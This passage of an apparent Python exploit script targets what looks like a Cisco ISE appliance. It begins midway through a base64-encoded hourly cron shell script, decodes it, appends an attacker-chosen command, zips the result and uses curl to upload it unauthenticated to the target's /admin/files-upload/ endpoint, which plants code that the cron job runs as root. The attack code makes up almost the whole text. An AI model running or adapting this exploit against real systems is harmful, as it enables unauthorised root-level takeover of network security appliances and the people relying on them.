3ZSBhcmUgcnVubmluZyBhcyBvcmFjbGUgdXNlcgppZiBbICJgd2hvYW1pYCIgIT0gInJvb3QiIF0gOyB0aGVuCiAgICBlY2hvICIlIEVycm9yOiAkMCBtdXN0IGJlIHJ1biBhcyB0aGUgcm9vdCB1c2VyLiBFeGl0aW5nLi4uIgogICAgZXhpdCAxCmZpCgpjaGVja0ZvckNMSVB3UmVjb3ZlcnkKCiMgQ3JlYXRlIGEgREIgbG9jayBpZiBEQiBpcyBub3QgYnVzeSB3aXRoIG90aGVyIHByb2Nlc3Nlcy4gV2FpdCAyMCBtaW51dGVzIGlmIERCIGlzIGJ1c3kKY3JlYXRlQ3JpdGljYWxTZWN0aW9uREJMb2NrIERBVEFCQVNFX0NMRUFOVVAgMjAKaWYgWyAkPyA9PSAkRkFMU0UgXSA7IHRoZW4KICAgbG9nZWNobyAzICIlIEVycm9yOiBBbm90aGVyIElTRSBEQiBwcm9jZXNzICgkTE9DS0VEX0JZKSBpcyBpbiBwcm9ncmVzcywgY2Fubm90IHBlcmZvcm0gY2xlYW51cCBhdCB0aGlzIHRpbWUiCiAgIGV4aXQgMQpmaQoKbW9uaXRfY29uZmQKY2hlY2tfZGJfYXZhaWwKY2xlYW51cHdjc19zc29fdG9rZW4gfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KY2hlY2tfZGlza3NwYWNlCmNoZWNrX3JlY292ZXJ5c2l6ZQpjYWxsX2RibW9uIHwgbG9nZ2VyIC1wIGxvY2FsMC5pbmZvCmNsZWFudXBMb2dEaXIKZmx1c2hFU1RyYW5zbG9ncwplc19ob3VybHlfam9iCgoKaWYgWyAkQUdHUkVTU0lWRV9DTEVBTlVQX1JFUVVJUkVEIC1lcSAxIF0gOyB0aGVuCiAgcGVyZm9ybV9hZ2dyZXNzaXZlX2NsZWFudXAKZmkKCgpwdXJnZQptbnRfdGFiX21lbSB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwoKaXNVcGdyYWRlSW5Qcm9ncmVzcwppZiBbICIkSVNfVVBHUkFERV9SVU5OSU5HIiA9PSAiRkFMU0UiIF0gOyB0aGVuCiAgV2Vla2x5am9icwogIGNsZWFyYXdyCiMjdmFBZ2dyZWdhdGlvbiB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwojIyBtZW1vcnlTdGF0cyB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwpmaQpjbGVhbnVwYWxhcm1zIHwgbG9nZ2VyIC1wIGxvY2FsMC5pbmZvCmtwbW1ldHJpY3MgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KCgpybSAtZiAvdG1wL2lzZS1kYmNsZWFudXAtaW5wcm9ncmVzcwpkZWxldGVDcml0aWNhbFNlY3Rpb25EQkxvY2sKCiMjIFRlbXBvcmFyaWx5IG9taXQgSFcgUk5HIGludGVncml0eSBjaGVjayB1bnRpbCBrZXJuZWwgbW9kdWxlIGlzIHJlYnVpbHQgZm9yIFJINgojIyBod3JuZ19jaGVjawoKY2xlYW51cHZzaApzYW1wbGVfdm1faW9wZXJmCmNsZWFudXBjb3JlZmlsZXMKY2hlY2tIZWFwRHVtcApjaGVja19hbmRfZHJvcF9jYWNoZQo=" decoded_data = base64.b64decode(isehourlycron).decode("utf-8") # Ensure the bin directory exists os.makedirs("bin", exist_ok=True) #Write decoded data to a file file_path = "bin/isehourlycron.sh" with open(file_path, "w") as f: f.write(decoded_data) # Reset or not ? if args.reset: print("File has been reset") else: f.write(COMMAND) # Step 3 # Zip the bin/ folder zip_file = "output.zip" with zipfile.ZipFile(zip_file, "w", zipfile.ZIP_DEFLATED) as zipf: for root, _, files in os.walk("bin"): for file in files: full_path = os.path.join(root, file) arcname = os.path.relpath(full_path, start=".") zipf.write(full_path, arcname) # Upload using curl print('Upload the file unauthenticated') curl_command = [ "curl", "-F", f"file=@{zip_file}", "https://"+IP+"/admin/files-upload/", "-k" ] subprocess.run(curl_command)